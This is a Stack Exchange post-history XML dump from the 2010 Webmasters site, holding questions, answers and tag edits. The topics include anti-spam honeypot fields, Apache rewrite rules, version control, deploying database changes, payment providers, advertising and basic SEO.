  <row Id="345" PostHistoryTypeId="3" PostId="199" RevisionGUID="091bbae5-8ce3-4abd-8dec-1086bad1fa1d" CreationDate="2010-07-08T20:30:55.187" UserId="63" Text="&lt;database&gt;" />
  <row Id="346" PostHistoryTypeId="2" PostId="200" RevisionGUID="f049130c-32ee-4fd5-b7ec-9d0fba607f74" CreationDate="2010-07-08T20:31:24.407" UserId="96" Text="The [Pragmatic Press][1] publishes a good book called &quot;[Web Design for Developers][2]&quot; which covers this topic.  As a developer, I really enjoyed it.  I think most people looking to build a web presence would find it useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pragprog.com/&#xD;&#xA;  [2]: http://www.pragprog.com/titles/bhgwad/web-design-for-developers" />
  <row Id="347" PostHistoryTypeId="2" PostId="201" RevisionGUID="7068d4a9-fc0b-47df-a732-c96811af20ea" CreationDate="2010-07-08T20:31:27.353" UserId="57" Text="I like to use Honeypots in my forms since the user won't notice them, they keep most crap away but are not 100% foolproof. The trick is to make a new form field in your existing form, for example `&lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;mailfield&quot;/&gt;` and put `#mailfield { display: none; }` in your CSS. If your form is submitted with data in  the email field you can be pretty sure it's a bot and discard the message." />
  <row Id="348" PostHistoryTypeId="2" PostId="202" RevisionGUID="f1ef96c0-a432-4e2b-b938-fb8cacbf3c47" CreationDate="2010-07-08T20:31:45.187" UserId="108" Text="I am developing a website that has a drop-down menu at the top of it.  The Menu has around 100 links in it that are repeated on every page.  Every page also has some number of links below the Menu that may or may not be in the menu itself.&#xD;&#xA;&#xD;&#xA;My issue is that Google says they generally don't like pages with more than 100 links on them.  &#xD;&#xA;&#xD;&#xA;Is there any way to change the links on the menu so that they no longer &quot;count&quot; towards my max of 100 links?  It seems like there should be an easy way to do this but their really doesn't seem to be.  the rel=nofollow still counts towards the number of links on the page at least according to Google, so what other options do I have?" />
  <row Id="349" PostHistoryTypeId="1" PostId="202" RevisionGUID="f1ef96c0-a432-4e2b-b938-fb8cacbf3c47" CreationDate="2010-07-08T20:31:45.187" UserId="108" Text="How to I handle having to many links on a webpage because of my menu" />
  <row Id="350" PostHistoryTypeId="3" PostId="202" RevisionGUID="f1ef96c0-a432-4e2b-b938-fb8cacbf3c47" CreationDate="2010-07-08T20:31:45.187" UserId="108" Text="&lt;links&gt;" />
  <row Id="351" PostHistoryTypeId="2" PostId="203" RevisionGUID="d4974fee-15c9-448e-935d-ba1d1333037d" CreationDate="2010-07-08T20:33:01.190" UserId="92" Text="I've heard nothing but good things about [Braintree][1]. &#xD;&#xA;&#xD;&#xA;They break down PCI compliance to the basics - if it enters your environment, you need to be compliant. As a result they have a solution that eliminates you needing to worry about it by posting sensitive information directly to them!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.braintreepaymentsolutions.com/" />
  <row Id="352" PostHistoryTypeId="5" PostId="160" RevisionGUID="3ddb6171-00ab-4069-8f61-a796bcd4828d" CreationDate="2010-07-08T20:33:14.933" UserId="91" Comment="typo" Text="For the iPhone in particular you should consider configuring the viewport, which controls the scale at which your page will get rendered. This is especially useful if your site is significantly narrower than the default viewport width of 980px. You can do this with a meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name = &quot;viewport&quot; content = &quot;width = 590&quot;&gt;&#xD;&#xA;&#xD;&#xA;You can also set the scale, and a bunch of other things. You can read all the details on Apple's site:&#xD;&#xA;http://developer.apple.com/safari/library/documentation/appleapplications/reference/safariwebcontent/usingtheviewport/usingtheviewport.html&#xD;&#xA;" />
  <row Id="353" PostHistoryTypeId="2" PostId="204" RevisionGUID="81e65df4-2615-483a-a57f-0d3746862517" CreationDate="2010-07-08T20:33:16.680" UserId="80" Text="Sometimes the boss wants to know who changed something on the website or changes their mind several times on where a button should go, what color something is, or whether or not a page should show up at all.  Is there a simple way for a small 2-3 person web team to keep track of these constant changes?" />
  <row Id="354" PostHistoryTypeId="1" PostId="204" RevisionGUID="81e65df4-2615-483a-a57f-0d3746862517" CreationDate="2010-07-08T20:33:16.680" UserId="80" Text="How can I keep track of changes to my website over time?" />
  <row Id="355" PostHistoryTypeId="3" PostId="204" RevisionGUID="81e65df4-2615-483a-a57f-0d3746862517" CreationDate="2010-07-08T20:33:16.680" UserId="80" Text="&lt;change-management&gt;" />
  <row Id="356" PostHistoryTypeId="5" PostId="164" RevisionGUID="d5f5b47c-0fe0-4fdc-b25c-d99f5003630f" CreationDate="2010-07-08T20:33:27.070" UserId="15" Comment="added 77 characters in body" Text="Starting before design, before coding anything. What steps need to be taken to fully implement a working website?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I mean both from a technical and a non-technical perspective." />
  <row Id="357" PostHistoryTypeId="2" PostId="205" RevisionGUID="0736a374-e2df-4b68-928b-9f574623aa94" CreationDate="2010-07-08T20:33:27.083" UserId="82" Text="For IIS you can install the [IIS Media Services][1] addin. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/media" />
  <row Id="358" PostHistoryTypeId="2" PostId="206" RevisionGUID="3dade1d1-09bd-4c72-b219-80e5022ef6db" CreationDate="2010-07-08T20:33:54.930" UserId="108" Text="I would suggest using the Web Platform Installer.  It does all of the hard work for you and it tracks when you need to update applications that you might not have otherwise realized.  It also gives you a way to manage many of your web related applications through 1 portal instead of through many others.&#xD;&#xA;&#xD;&#xA;I have used it for over 6 months now and I have had no issues with it whatsoever." />
  <row Id="359" PostHistoryTypeId="2" PostId="207" RevisionGUID="d99bbc29-6c7f-4cec-99fd-d76c7cb3f590" CreationDate="2010-07-08T20:35:01.557" UserId="109" Text="First, make sure apache has the module and that it is allowed in .htacces files, then add:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	RewriteEngine on&#xD;&#xA;&#xD;&#xA;	# Rewrite rules&#xD;&#xA;	RewriteRule ^/myoldsubfolder/(.*) /newfolder/$1 &#xD;&#xA;&#xD;&#xA;Your example would require&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} !-d&#xD;&#xA;    RewriteCond %{REQUEST_URI}\.html -f&#xD;&#xA;    RewriteRule ^/(([a-zA-Z0-9_]+)/?)$ /$1.html&#xD;&#xA;&#xD;&#xA;For a single-level directory structure and &#xD;&#xA;&#xD;&#xA;    RewriteRule ^/(([a-zA-Z0-9_]+)/?)+$ /$1.html&#xD;&#xA;&#xD;&#xA;For a multi-level structure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But __be careful__&#xD;&#xA;&#xD;&#xA;If you have the structure&#xD;&#xA;&#xD;&#xA;    /site/.htaccess&#xD;&#xA;    /site/subfolder/.htaccess&#xD;&#xA;    /site/subfolder/cats/.htaccess&#xD;&#xA;&#xD;&#xA;The rewrite rules in the child `.htaccess` files will be relative to their parent folder and you can get into some __messy__ rewrite loop situations. Make sure you use `RewriteCond` to stop them happening if you can!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="360" PostHistoryTypeId="2" PostId="208" RevisionGUID="4fdc6f70-5166-473d-adff-eb5b4121c891" CreationDate="2010-07-08T20:35:27.627" UserId="106" Text="I've used by [jEdit][1] and Eclipse because they worked into the rest of my development workflow well. jEdit's syntax highlighting, and ability to recognize a wide variety of text formats is very nice for quick review the strange things I tend have come my way.  &#xD;&#xA;&#xD;&#xA;I agree with others who have mentioned avoiding WYSIWYG editors. DW's latest versions do generate acceptable code most of the time, but when I use it I spend 95% of my time in the code view anyway.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jedit.org/" />
  <row Id="361" PostHistoryTypeId="2" PostId="209" RevisionGUID="82999da6-54e2-442a-afac-add92902fc2d" CreationDate="2010-07-08T20:35:38.140" UserId="110" Text="I have a pretty big legacy site with literally thousands of PDFs that are sometimes accounting for in a database, but often are just links on the page, and are stored in most every directory on the site.&#xD;&#xA;&#xD;&#xA;I have written a php crawler to follow all the links on my site, and then I am comparing that against a dump of the directory structure, but is there something easier?" />
  <row Id="362" PostHistoryTypeId="1" PostId="209" RevisionGUID="82999da6-54e2-442a-afac-add92902fc2d" CreationDate="2010-07-08T20:35:38.140" UserId="110" Text="Good tool to crawl my site and help me find dead link and unlinked files" />
  <row Id="363" PostHistoryTypeId="3" PostId="209" RevisionGUID="82999da6-54e2-442a-afac-add92902fc2d" CreationDate="2010-07-08T20:35:38.140" UserId="110" Text="&lt;site-maintenance&gt;&lt;site-crawler&gt;&lt;dead-links&gt;" />
  <row Id="364" PostHistoryTypeId="2" PostId="210" RevisionGUID="1db3f2d4-b0cd-4b6c-a895-96a278bda465" CreationDate="2010-07-08T20:35:39.497" UserId="112" Text="You could actually remove .html from the files on your server and set settings in htaccess so that they get served up as html files, but that's probably not what you're looking for.&#xD;&#xA;&#xD;&#xA;Do this :&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    # Check this condition to ensure that it's not a directory.&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    # Check this condition to ensure that there's a file there&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.html -f&#xD;&#xA;    # Replace html with your file extension, eg: php, htm, asp&#xD;&#xA;    RewriteRule ^(.*)$ $1.html&#xD;&#xA;" />
  <row Id="365" PostHistoryTypeId="2" PostId="211" RevisionGUID="8331ac2b-60a3-4021-8d5d-ea99d1051526" CreationDate="2010-07-08T20:35:53.070" UserId="96" Text="I may be a little old-school here, but PayPal says &quot;amateur&quot; to me. Credible and trustworthy e-commerce sites take real credit cards for payment.  Never underestimate the value of trust in e-commerce. Look to [Authorize.Net][1] for this, as they are great. &#xD;&#xA;&#xD;&#xA;See [this question][2] for more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.authorize.net/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/142/what-do-i-need-to-do-to-enable-my-site-to-accept-credit-cards/185#185" />
  <row Id="366" PostHistoryTypeId="2" PostId="212" RevisionGUID="c2e1467e-6a96-4a28-a4d9-f02283bb1ed6" CreationDate="2010-07-08T20:35:57.453" UserId="80" Text="Occasionally we need to deploy fairly complex changes to a website which require changes to databases (new or changed tables) and dynamic source code (such as PHP or ColdFusion).  What is the best way to package and deploy these changes quickly without breaking everything on the live website?" />
  <row Id="367" PostHistoryTypeId="1" PostId="212" RevisionGUID="c2e1467e-6a96-4a28-a4d9-f02283bb1ed6" CreationDate="2010-07-08T20:35:57.453" UserId="80" Text="Deploying Complex Changes" />
  <row Id="368" PostHistoryTypeId="3" PostId="212" RevisionGUID="c2e1467e-6a96-4a28-a4d9-f02283bb1ed6" CreationDate="2010-07-08T20:35:57.453" UserId="80" Text="&lt;site-deployment&gt;&lt;change-management&gt;" />
  <row Id="369" PostHistoryTypeId="2" PostId="213" RevisionGUID="806c04f9-781f-498d-8ba0-8c319c633fe0" CreationDate="2010-07-08T20:36:35.453" UserId="108" Text="Use source control.  Specifically, I would check out http://git-scm.com/ and http://mercurial.selenic.com/.  They are both great Source Control platforms and are cheap (free if you host it yourself).&#xD;&#xA;&#xD;&#xA;Also, Git and Mercurial allow you to have 1 solution for all your developers and handles branching and merging very easily.  It will also show who changed what, when they changed it, etc." />
  <row Id="370" PostHistoryTypeId="2" PostId="214" RevisionGUID="460492ba-2ae3-48ee-ad82-cc0db6f2530f" CreationDate="2010-07-08T20:36:47.670" UserId="86" Text="100 links? Whoa.  I guess you could ask yourself if you really, really need to have all those links in the menu at once.&#xD;&#xA;&#xD;&#xA;If you do, could you devise a script that only shows some of them at any one time.  ie You have say 5 top menu choices.  When the user's in selection 1, show all of selection 1's links, and half of the other selections.  Just a thought." />
  <row Id="371" PostHistoryTypeId="2" PostId="215" RevisionGUID="91b1baa5-065e-4b33-a5c8-0dd31d33f0af" CreationDate="2010-07-08T20:37:48.463" UserId="15" Text="I want to make a little bit of cash on the side for my site. &#xD;&#xA;&#xD;&#xA;1. Who should I use for advertising?&#xD;&#xA;2. What are the best practices for ad placement?&#xD;&#xA; - What are the best ways to keep advertising unobtrusive?&#xD;&#xA;3. When is too much advertising too much advertising?&#xD;&#xA;4. Are there better ways to make money from a site than text ads?" />
  <row Id="372" PostHistoryTypeId="1" PostId="215" RevisionGUID="91b1baa5-065e-4b33-a5c8-0dd31d33f0af" CreationDate="2010-07-08T20:37:48.463" UserId="15" Text="How do I implement advertising on my page?" />
  <row Id="373" PostHistoryTypeId="3" PostId="215" RevisionGUID="91b1baa5-065e-4b33-a5c8-0dd31d33f0af" CreationDate="2010-07-08T20:37:48.463" UserId="15" Text="&lt;advertising&gt;" />
  <row Id="374" PostHistoryTypeId="6" PostId="202" RevisionGUID="69f9687f-3423-476d-b136-b6081a5a8677" CreationDate="2010-07-08T20:37:55.950" UserId="86" Comment="edited tags" Text="&lt;links&gt;&lt;menu&gt;" />
  <row Id="375" PostHistoryTypeId="2" PostId="216" RevisionGUID="8e4d63af-4d28-4027-b46f-26f94805c919" CreationDate="2010-07-08T20:39:04.793" UserId="80" Text="We've determined that our website needs a privacy policy and a terms of use page to protect our interests.  Are there automated tools that will generate these for us?  How do we go about creating these parts of the website?" />
  <row Id="376" PostHistoryTypeId="1" PostId="216" RevisionGUID="8e4d63af-4d28-4027-b46f-26f94805c919" CreationDate="2010-07-08T20:39:04.793" UserId="80" Text="What are some good resources for generating privacy policies and terms of use?" />
  <row Id="377" PostHistoryTypeId="3" PostId="216" RevisionGUID="8e4d63af-4d28-4027-b46f-26f94805c919" CreationDate="2010-07-08T20:39:04.793" UserId="80" Text="&lt;legal&gt;&lt;privacy-policy&gt;&lt;terms-of-use&gt;" />
  <row Id="378" PostHistoryTypeId="5" PostId="205" RevisionGUID="8ac5f8b1-9cbe-4ad7-b07e-634ca6a39043" CreationDate="2010-07-08T20:39:23.140" UserId="82" Comment="added 132 characters in body" Text="For IIS you can install the [IIS Media Services][1] addin. &#xD;&#xA;&#xD;&#xA;Here is a tutorial on streaming with Apache: [Video Streaming With Apache][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/media&#xD;&#xA;  [2]: http://blog.lebrijo.com/?p=161&amp;language=en" />
  <row Id="379" PostHistoryTypeId="2" PostId="217" RevisionGUID="236409d6-f422-4ac8-96e4-bc807e50948e" CreationDate="2010-07-08T20:39:40.970" UserId="15" Text="I don't want to do link exchanges or anything shady. I just want some legitimate ways that I can direct a little bit more traffic to my site. How do I do that?" />
  <row Id="380" PostHistoryTypeId="1" PostId="217" RevisionGUID="236409d6-f422-4ac8-96e4-bc807e50948e" CreationDate="2010-07-08T20:39:40.970" UserId="15" Text="How can I increase the traffic to my site?" />
  <row Id="381" PostHistoryTypeId="3" PostId="217" RevisionGUID="236409d6-f422-4ac8-96e4-bc807e50948e" CreationDate="2010-07-08T20:39:40.970" UserId="15" Text="&lt;seo&gt;&lt;traffic&gt;" />
  <row Id="382" PostHistoryTypeId="2" PostId="218" RevisionGUID="9c340f41-0ec9-45ec-a081-e06528451939" CreationDate="2010-07-08T20:41:51.480" UserId="19" Text="You might consider trying a hosted version control solution like [Beanstalk][1] just to get the feel of it. It is very easy to set up and free to try out. &#xD;&#xA;&#xD;&#xA;(I don't work for Beanstalk. There are other similar services).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://beanstalkapp.com" />
  <row Id="383" PostHistoryTypeId="2" PostId="219" RevisionGUID="2977d9b0-3f20-427b-a13f-a94e19f87231" CreationDate="2010-07-08T20:42:09.670" UserId="109" Text="I would say:&#xD;&#xA;&#xD;&#xA; 1. Go with an advertiser that suits your user-base, and whose ads are not only keyword relevant but socially relevant. This adds value to your site too.&#xD;&#xA; 2. Ad placement should never detract too much from your content, or it should supplement it. This is a design exercise more than anything.&#xD;&#xA; 3. Ask your users if there is too much, they will tell you!&#xD;&#xA; 4. You could sell access to your content using micropayments (paypal, SMS) if people are prepared to pay. You could also run a ad-free version for a small fee. A good method is also to time-delay content such that registered/paying users get the freshest content ahead of the rest.&#xD;&#xA;&#xD;&#xA;:)" />
  <row Id="384" PostHistoryTypeId="2" PostId="220" RevisionGUID="6641746d-0493-4c06-b551-025644c53775" CreationDate="2010-07-08T20:42:17.313" UserId="115" Text="I have some special coding that only works for HTML5 browsers (simple geolocation stuff).  I want to redirect iPhone and Android users to the m.example.com version of my website.  How is the best way to do this?  " />
  <row Id="385" PostHistoryTypeId="1" PostId="220" RevisionGUID="6641746d-0493-4c06-b551-025644c53775" CreationDate="2010-07-08T20:42:17.313" UserId="115" Text="How do you direct iPhone/Android browser to m.example.com?" />
  <row Id="386" PostHistoryTypeId="3" PostId="220" RevisionGUID="6641746d-0493-4c06-b551-025644c53775" CreationDate="2010-07-08T20:42:17.313" UserId="115" Text="&lt;html5&gt;&lt;iphone&gt;&lt;geolocation&gt;&lt;android&gt;" />
  <row Id="387" PostHistoryTypeId="2" PostId="221" RevisionGUID="e383ee5c-3e85-48c8-951a-dfbd479db006" CreationDate="2010-07-08T20:42:27.670" UserId="88" Text="The simplest answer is basically what you hinted at in the tags: Use a source control system.&#xD;&#xA;If you are using a CMS for the website that may be able to track the changes for you (i.e. have a source control system built in).&#xD;&#xA;&#xD;&#xA;Otherwise you can simply install a system yourself.&#xD;&#xA;&#xD;&#xA;Given the size of your team I would go for Mercurial because it has all the modern features and is very easy to setup and use. If you guys work under Windows I'ld simply install [TortoiseHG][1] and read [this tutorial][2] by Joel Spolsky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tortoisehg.bitbucket.org/&#xD;&#xA;  [2]: http://hginit.com/" />
  <row Id="388" PostHistoryTypeId="16" PostId="145" RevisionGUID="4b217c15-b9af-435e-b08e-143cc10b02e7" CreationDate="2010-07-08T20:42:36.750" UserId="61" />
  <row Id="389" PostHistoryTypeId="5" PostId="145" RevisionGUID="4b217c15-b9af-435e-b08e-143cc10b02e7" CreationDate="2010-07-08T20:42:36.750" UserId="61" Comment="added 101 characters in body" Text="I am looking for a recommendation for a somewhat powerful but more importantly user friendly CMS for .NET. &#xD;&#xA;&#xD;&#xA;The ones I have found seem decent at best.&#xD;&#xA;&#xD;&#xA;*If you say DotNetNuke I will be tempted to reach through this screen and slap you...*&#xD;&#xA;&#xD;&#xA;Edit: I have made it community wiki. Please add 1 CMS per answer so the best may rise to the top." />
  <row Id="390" PostHistoryTypeId="2" PostId="222" RevisionGUID="9dd9d176-6837-48e2-b722-8cb872b17e80" CreationDate="2010-07-08T20:43:11.243" UserId="108" Text="This is a pretty complex question.  When developing a new website I would say you need to choose a language that you know and that you know is going to be well supported in the future.  &#xD;&#xA;&#xD;&#xA;In my opinion that limits you to several languages.  Specifically, Python, Ruby, C#/VB.NET, Java, and PHP.  Those languages have enterprise level APIs and features and should be support going forward.  &#xD;&#xA;&#xD;&#xA;Frankly, the most important thing is going to be the people.  If you get the best people they will help you make the right right decisions and everything else will fall into place." />
  <row Id="391" PostHistoryTypeId="2" PostId="223" RevisionGUID="4203ec16-e0fb-4f0b-b588-3ff485f824b4" CreationDate="2010-07-08T20:44:19.633" UserId="15" Text="I've heard of FTP but I'm not exactly sure how to use it. What's the best way to get pages from my computer to the server?" />
  <row Id="392" PostHistoryTypeId="1" PostId="223" RevisionGUID="4203ec16-e0fb-4f0b-b588-3ff485f824b4" CreationDate="2010-07-08T20:44:19.633" UserId="15" Text="How Do I Upload Pages To The Server?" />
  <row Id="393" PostHistoryTypeId="3" PostId="223" RevisionGUID="4203ec16-e0fb-4f0b-b588-3ff485f824b4" CreationDate="2010-07-08T20:44:19.633" UserId="15" Text="&lt;web-hosting&gt;&lt;ftp&gt;&lt;uploading&gt;" />
  <row Id="394" PostHistoryTypeId="2" PostId="224" RevisionGUID="1145e245-064d-4d04-a906-e552224dcd99" CreationDate="2010-07-08T20:44:43.483" UserId="110" Text="If you have a legal team (but you don't, or you wouldn't be asking) check with them.  I have honestly just taken and modified the terms from sites that are similar to mine.&#xD;&#xA;&#xD;&#xA;While I don't know of any automated tools, I don't think the TOS on a site varies much from one to the other unless you have some pretty unique public content. When we were deploying sites the boilerplate we used didn't change more than half the time." />
  <row Id="395" PostHistoryTypeId="2" PostId="225" RevisionGUID="f5a1bffe-74f2-48d0-bb18-04bad5fec66d" CreationDate="2010-07-08T20:45:25.543" UserId="109" Text="Always ensure your content is __fresh and updated often__. Then use RSS and other syndication methods to allow others to embedd your content into their site.&#xD;&#xA;&#xD;&#xA;Widgets for other peoples sites can help draw traffic without seeming too much like an add. If you can think of an innovative way to *attach* other people's sites to yours so that value is added to both the attacher and attachee then you are ahead of the game.&#xD;&#xA;&#xD;&#xA;Maybe try partnering with sites that are not competitors and in the same user demographic, see if you have __help eachother grow__ by cross linking.&#xD;&#xA;&#xD;&#xA;:)" />
  <row Id="399" PostHistoryTypeId="2" PostId="227" RevisionGUID="70dac17f-163c-4d1a-bd30-845e313121a4" CreationDate="2010-07-08T20:45:29.490" UserId="19" Text="Well if you want to hide those links from web crawlers, you might consider loading some of the links using AJAX in a `window.onload()` or `DOMReady` event and then append that HTML to your page. This way the HTML isn't present when Google crawls your page initially. &#xD;&#xA;&#xD;&#xA;This will of course mean that those AJAX-loaded links aren't accessible to browsers with Javascript disabled, so it's a trade off. Might not be appropriate for your situation.&#xD;&#xA;&#xD;&#xA;(At least I don't think that Google's crawler runs your javascript when crawling pages)" />
  <row Id="400" PostHistoryTypeId="2" PostId="228" RevisionGUID="610cfef3-afac-4f94-896b-fde29c3cbe05" CreationDate="2010-07-08T20:46:41.297" UserId="80" Text="Provide content that people value, and the links will come naturally.  This is the slow, free way to drive traffic over time.&#xD;&#xA;&#xD;&#xA;If you have some particularly valuable or interesting content, submit it to news organizations that relate to your content (Slashdot is a good example for technology content).  If they pick up your content it will help to drive traffic.&#xD;&#xA;&#xD;&#xA;Participate in public forums and message boards (sort of like this one &lt;g&gt;) and people who value your input will visit your site and potentially link to it (hint, hint!).&#xD;&#xA;&#xD;&#xA;If you want traffic NOW, you can purchase advertising in a number of places including Google, Facebook, and many other high-traffic sites that will be happy to drive traffic.  This is the quick, expensive way to get traffic fast.&#xD;&#xA;" />
  <row Id="401" PostHistoryTypeId="2" PostId="229" RevisionGUID="49b56a0c-55be-4056-ac56-08a2bf856620" CreationDate="2010-07-08T20:47:03.153" UserId="92" Text="Start with what you know and don't be afraid of change. &#xD;&#xA;&#xD;&#xA;There is a tremendous value in using technologies that developers are experienced and comfortable with. You can get moving quicker and will spend less time messing with the technology and more time delivering value to the users. TekPub is [one example][1] where they started in ASP.NET, but then moved to Ruby on Rails once they had time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.infoq.com/articles/architecting-tekpub" />
  <row Id="406" PostHistoryTypeId="2" PostId="234" RevisionGUID="db29a2dc-d51f-4d15-b5f7-f7b9c254c536" CreationDate="2010-07-08T20:49:16.047" UserId="42" Text="I've used &lt;a href=&quot;http://home.snafu.de/tilman/xenulink.html&quot;&gt;Xenu's Link Sleuth&lt;/a&gt;.  It works pretty well, just be sure not to DOS yourself! " />
  <row Id="408" PostHistoryTypeId="2" PostId="235" RevisionGUID="b5813e22-39c9-4d61-9813-b8b527e6c6d4" CreationDate="2010-07-08T20:49:31.943" UserId="27" Text="Short answer: it is a pain in the neck!&#xD;&#xA;&#xD;&#xA;I have had to do this several times (and every time makes me want to think about my design more on the next project I do).  What I do is to fork the codebase to a Development section (or folder, or server, etc) so that I can work on it separately to make sure all the bugs are out before moving to deployment.  I then create a SQL script which always has the same first two lines:&#xD;&#xA;&#xD;&#xA;    DELETE IF EXISTS newDatabaseName;&#xD;&#xA;    CREATE DATABASE newDatabaseName;&#xD;&#xA;&#xD;&#xA;This will ensure that the script puts everything into a completely fresh and empty database.  The rest of the script will recreate all tables that I'm reusing from the old database into the new one.  Then I will create the new (or modified) tables into the new database.  Finally I will move all the data from the live server to the development server.  This can take a long time depending on how much data you are moving and how fast you can move it, so I recommend that you think about the script carefully because the less you are forced to run it, the better.&#xD;&#xA;&#xD;&#xA;After I have the new development database up and running, the rest is to create the new code to use it.  Once that is hashed out, then deployment should be relatively easy (though possibly time consuming).  Simply use the same script to copy all the new live data to the new database on the deployment server, and copy all the new code there, and you are done!&#xD;&#xA;&#xD;&#xA;This is how I do it, and while it is a pain, it does work.  If there is a better way, I'd be happy to listen." />
  <row Id="409" PostHistoryTypeId="2" PostId="236" RevisionGUID="5faae31d-4517-4f96-a734-578c1650527f" CreationDate="2010-07-08T20:50:27.590" UserId="109" Text="I generally do (for LAMP style sites):&#xD;&#xA;&#xD;&#xA; 1. __define your changes__ then write a script to apply them (I use a Makefile).&#xD;&#xA; 2. __Test__ your changes on a sample of data that represents the real environment&#xD;&#xA; 3. __Test__ again to make sure&#xD;&#xA; 4. __Give yourself a way out__, have the ability to rollback&#xD;&#xA;&#xD;&#xA;If you are running a cluster, then you may have bigger headaches with site state, caches and so on.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="411" PostHistoryTypeId="2" PostId="237" RevisionGUID="0a66f9e7-0a82-4953-9a1c-55ec9421f7a2" CreationDate="2010-07-08T20:51:35.683" UserId="21" Text="What are the basic things a webmaster can do to make it's site SEO optimized? I know of adding page relevant keyword and description in the meta tag... What are the others?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="412" PostHistoryTypeId="1" PostId="237" RevisionGUID="0a66f9e7-0a82-4953-9a1c-55ec9421f7a2" CreationDate="2010-07-08T20:51:35.683" UserId="21" Text="Basic SEO Optimization" />
  <row Id="413" PostHistoryTypeId="3" PostId="237" RevisionGUID="0a66f9e7-0a82-4953-9a1c-55ec9421f7a2" CreationDate="2010-07-08T20:51:35.683" UserId="21" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="414" PostHistoryTypeId="2" PostId="238" RevisionGUID="2e5c6157-96f5-4933-9d3d-9718e2bf2d2d" CreationDate="2010-07-08T20:52:02.517" UserId="110" Text="I keep my eggs separate, because the last small hosting place I used that did a registration for me, provided no tools other than a phone number to make changes.&#xD;&#xA;&#xD;&#xA;You can see how moving away from the small host was a big problem for me." />
  <row Id="415" PostHistoryTypeId="2" PostId="239" RevisionGUID="1069b695-a9ac-4494-bd9a-cfe82af820af" CreationDate="2010-07-08T20:52:33.857" UserId="26" Text="The *serious answer* is to evaluate your users and customers for what they use, and the traffic and usage patterns for MSIE6 in that. You also need to decide how many is enough, can you make your site work &quot;good enough&quot; for IE6, or do things break down functionally for them. You can consider [**IE conditional comments**][1] for cosmetic things. For functionality problems, you may give your users a warning about when you will shut down IE6 access. You might also use something like [**ie6-upgrade-warning**][2] to give them some alternatives. Be mindful though, that some corporate users won't have enough permission to download and install a new browser, so being a jerk about &quot;get out there and upgrade you lazy bum! your browser is 8 years old!&quot; may turn off your users.&#xD;&#xA;&#xD;&#xA;Now, a *fun* answer is this: [**A funeral was held for MSIE6 in March, 2010**][3]. R.I.P.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/condcom.html&#xD;&#xA;  [2]: http://code.google.com/p/ie6-upgrade-warning/&#xD;&#xA;  [3]: http://ie6funeral.com/" />
  <row Id="416" PostHistoryTypeId="2" PostId="240" RevisionGUID="d1788c18-2683-4958-b319-4a0c1235c936" CreationDate="2010-07-08T20:53:17.583" UserId="82" Text="I have played with Apache and Mono and .NET on Linux in the past, but I have yet to deploy any significant production sites to that stack.  I recently found Cherokee and an article about enabling [FastCGI Mono][1] support and wondered if anyone had any good or bad war stories about delivering ASP.NET on a Linux stack.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mono-project.com/FastCGI_Cherokee" />
  <row Id="417" PostHistoryTypeId="1" PostId="240" RevisionGUID="d1788c18-2683-4958-b319-4a0c1235c936" CreationDate="2010-07-08T20:53:17.583" UserId="82" Text="Is Cherokee, Mono, and Linux truly a viable alternative to Windows and IIS for production ASP.NET web sites?" />
  <row Id="418" PostHistoryTypeId="3" PostId="240" RevisionGUID="d1788c18-2683-4958-b319-4a0c1235c936" CreationDate="2010-07-08T20:53:17.583" UserId="82" Text="&lt;asp.net&gt;&lt;linux&gt;&lt;mono&gt;" />
  <row Id="419" PostHistoryTypeId="2" PostId="241" RevisionGUID="404f66f9-dd93-4f53-a416-a0c105e48fb3" CreationDate="2010-07-08T20:54:06.287" UserId="27" Text="Explore [Google's SEO][1] article.  There is a LOT of information there.&#xD;&#xA;&#xD;&#xA;For a little more detail:&#xD;&#xA;&#xD;&#xA;* Create a sitemap.xml for crawlers to know your site&#xD;&#xA;* Keep your URLs organized and short (if possible)&#xD;&#xA;* Make your titles relevant.&#xD;&#xA;* URLs closer to the domain can be considered more important&#xD;&#xA; * i.e. www.site.com/hi.html is more important than www.site.com/one/two/three/hi.com&#xD;&#xA;* Make the content the focus of the site.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35291" />
